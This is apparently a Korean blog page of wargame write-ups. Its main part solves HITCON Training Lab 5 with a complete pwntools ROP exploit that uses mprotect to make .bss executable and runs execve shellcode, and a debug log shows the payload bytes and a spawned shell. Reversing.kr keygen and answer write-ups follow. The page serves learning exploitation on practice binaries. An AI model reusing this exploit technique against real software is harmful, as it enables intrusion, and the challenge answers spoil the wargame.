HITCON Training - Lab 5

HITCON의 Training 코스에서 지급하는 예제 문제이다.

(Download : https://github.com/scwuaptx/HITCON-Training)



Analyze


매우 직관적인 BOF 문제이다.


buffer의 크기는 0x14 바이트임에도 불구하고 입력을 100바이트나 받게 되므로, 프로그램의 흐름을 조작할 수 있다.


[*] '/home/nonetype/public_html/archive/ctf/HITCON-Training/lab5/simplerop'

    Arch:     i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x8048000)


NX가 켜져 있으므로, Rop를 통해 익스플로잇한다.



Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
 
context.log_level = 'debug'
 
= './simplerop'
elf = ELF(b)
= process(b)
 
shellcode = asm(shellcraft.i386.linux.sh(), arch='i386')
 
ru = lambda x : p.recvuntil(x)
sa = lambda x,y : p.sendlineafter(str(x), str(y))
sl = lambda x : p.sendline(x)
 
log.success( 'mprotect : 0x%x' % elf.symbols['mprotect'] )
rop = ROP(elf)
rop.read(0, elf.bss(), 256)
rop.mprotect(0x080ea0000x10007)
rop.call(elf.bss())
 
payload = 'A' * 32
payload += str(rop)
 
sa('', payload)
sl(shellcode)
 
p.interactive()
cs


buffer부터 stack의 ret값까지의 오프셋은 0x20이다.


rop체인을 생성한 후, ShellCode를 Bss영역에 입력받고 mprotect 함수를 호출해 Bss영역에 7 (RWX) 권한을 준 다음 bss영역을 call하게 됨으로써 shellcode를 실행시킨다.


Statically linked 된 파일이기 때문에, 추가적으로 mprotect@got를 Leak하지 않아도 프로그램 내에 mprotect 함수의 주소가 고정되어 있다.



Result - 


 nonetype@NoneType  ~/public_html/archive/ctf/HITCON-Training/lab5   master ●  python solve.py 

[DEBUG] '/home/nonetype/public_html/archive/ctf/HITCON-Training/lab5/simplerop' is statically linked, skipping GOT/PLT symbols

[*] '/home/nonetype/public_html/archive/ctf/HITCON-Training/lab5/simplerop'

    Arch:     i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x8048000)

[+] Starting local process './simplerop': pid 4551

[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python2.7/dist-packages/pwnlib/data/includes /dev/stdin

[DEBUG] Assembling

    .section .shellcode,"awx"

    .global _start

    .global __start

    _start:

    __start:

    .intel_syntax noprefix

        /* execve(path='/bin///sh', argv=['sh'], envp=0) */

        /* push '/bin///sh\x00' */

        push 0x68

        push 0x732f2f2f

        push 0x6e69622f

        mov ebx, esp

        /* push argument array ['sh\x00'] */

        /* push 'sh\x00\x00' */

        push 0x1010101

        xor dword ptr [esp], 0x1016972

        xor ecx, ecx

        push ecx /* null terminate */

        push 4

        pop ecx

        add ecx, esp

        push ecx /* 'sh\x00' */

        mov ecx, esp

        xor edx, edx

        /* call execve() */

[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-xQZT_b/step2 /tmp/pwn-asm-xQZT_b/step1

[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-xQZT_b/step3 /tmp/pwn-asm-xQZT_b/s[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-xQZT_b/step2 /tmp/pwn-asm-xQZT_b/step1

[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-xQZT_b/step2 /tmp/pwn-asm-xQZT_b/step1

[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-xQZT_b/step3 /tmp/pwn-asm-xQZT_b/step4

[+] mprotect : 0x806d870

[*] Loaded cached gadgets for './simplerop'

[DEBUG] Received 0x23 bytes:

    "ROP is easy is'nt it ?\n"

    'Your input :'

[DEBUG] Sent 0x4d bytes:

    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│

    *

    00000020  50 cd 06 08  38 04 09 08  00 00 00 00  80 af 0e 08  │P···│8···│····│····│

    00000030  00 01 00 00  70 d8 06 08  38 04 09 08  00 a0 0e 08  │····│p···│8···│····│

    00000040  00 10 00 00  07 00 00 00  80 af 0e 08  0a           │····│····│····│·│

    0000004d

[DEBUG] Sent 0x2d bytes:

    00000000  6a 68 68 2f  2f 2f 73 68  2f 62 69 6e  89 e3 68 01  │jhh/│//sh│/bin│··h·│

    00000010  01 01 01 81  34 24 72 69  01 01 31 c9  51 6a 04 59  │····│4$ri│··1·│Qj·Y│

    00000020  01 e1 51 89  e1 31 d2 6a  0b 58 cd 80  0a           │··Q·│·1·j│·X··│·│

    0000002d

[*] Switching to interactive mode

ROP is easy is'nt it ?

Your input :$ whoami

[DEBUG] Sent 0x7 bytes:

    'whoami\n'

[DEBUG] Received 0x9 bytes:

    'nonetype\n'

nonetype







'Write-Up > Etc' 카테고리의 다른 글

HITCON Training - Lab 5  (0) 2018.04.09
H4CTF Find & Seek Write-Up  (0) 2017.07.31
H4CTF simpleBOF Write-Up  (0) 2017.07.31
H4CTF easyBOF Write-Up  (0) 2017.07.31
blog image

Written by NoneType

Pwnable Newbie


Easy Keygen Write-Up


직접 간단한 키젠까지 짜봤다.



Analyze


우선 Name 변수를 입력받게 되고, 이후 Name 변수를 Xor 인코딩한다.

인코딩 된 값과 유저가 입력한 Serial을 비교해서 Correct, inCorrect로 분기하게 된다.


인코딩 과정은 반복문 안쪽에 자리하고 있다. 

-> 유저 입력값[N] ^ key[N] 

(Key의 경우, 0, 1, 2만 반복된다.)


출력 Serial은 Hex값을 String형으로 변경시켜 이어붙인 형식이 된다.


그러므로 Readme에서 제시한 "5B134977135E7D13"의 경우에는 다음과 같은 인코딩 과정을 거친 결과라고 생각된다.


입력값[0] ^ Key[0] = 5B 

입력값[1] ^ Key[1] = 13 

입력값[2] ^ Key[2] = 49 


여기서 해커가 Key의 값을 알 수 있어, 디코딩이 가능하다.


Key[0] = 16

Key[1] = 32

Key[2] = 48


5B ^ Key[0] = 입력값[0]

13 ^ Key[1] = 입력값[1]

49 ^ Key[2] = 입력값[2]


5B ^ 16 = 입력값[0]

13 ^ 32 = 입력값[1]

49 ^ 48 = 입력값[2]


이런 식으로 복호화 해나가면 되지만, 일일히 계산하기 귀찮으니(?) 스크립팅을 해봤다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
toSolve = '5B134977135E7D13'
 
result = ''
 
for i in range(0len(toSolve)/2):
 
    print 'indexing Serial[%d] ~ [%d]' % (i*2, (i*2)+2)
    s = toSolve[i*: (i*2)+2]
 
    if i%== 0:
        key = 16
    elif i%== 1:
        key = 32
    elif i%== 2:
        key = 48
 
    h = int(s, 16)
    solved = h ^ key
    result += chr(solved)
 
    print "%s => %s" %(s, chr(solved))
 
print 'result : %s' % result
cs


Result값을 인증하면 된다.




'# Reversing' 카테고리의 다른 글

reversing.kr - Easy Crack Write-Up  (0) 2018.04.03
reversing.kr - Easy Crack Write-Up  (0) 2018.04.02
PE구조 정리  (0) 2017.01.02
blog image

Written by NoneType

Pwnable Newbie


Easy Crack Write-Up


버그헌팅을 시작하며 CTF 바이너리보다 크고, 복잡한 바이너리를 분석하기 시작하니, 확실히 분석 능력이 부족하다는 생각이 들어서 시간을 내서 리버싱 문제도 조금씩 풀어야 되겠다는 생각을 했다.




Analyze



위와 같은 함수 하나로 이루어진(WinMain부터는 간단하니 생략한다) 프로그램이다.


우선, GetDlgItemTextA 함수를 통해 화면에 나타난 창에서 문자열을 String함수의 위치에 입력받게 된다.


이후, Correct, inCorrect를 판별하는 분기문이 나타나는데, 조건문이 그대로 나타나 있다.


1. String[0] == 'E'

2. String[1] == 'a'

3. String[2~3] == '5y' (strncmp call - 2Byte)

4. String[4~] == 'R3versing' (strcmp)


Answer = 'Ea5yR3versing'



'# Reversing' 카테고리의 다른 글

reversing.kr - Easy Crack Write-Up  (0) 2018.04.03
reversing.kr - Easy Crack Write-Up  (0) 2018.04.02
PE구조 정리  (0) 2017.01.02
blog image

Written by NoneType

Pwnable Newbie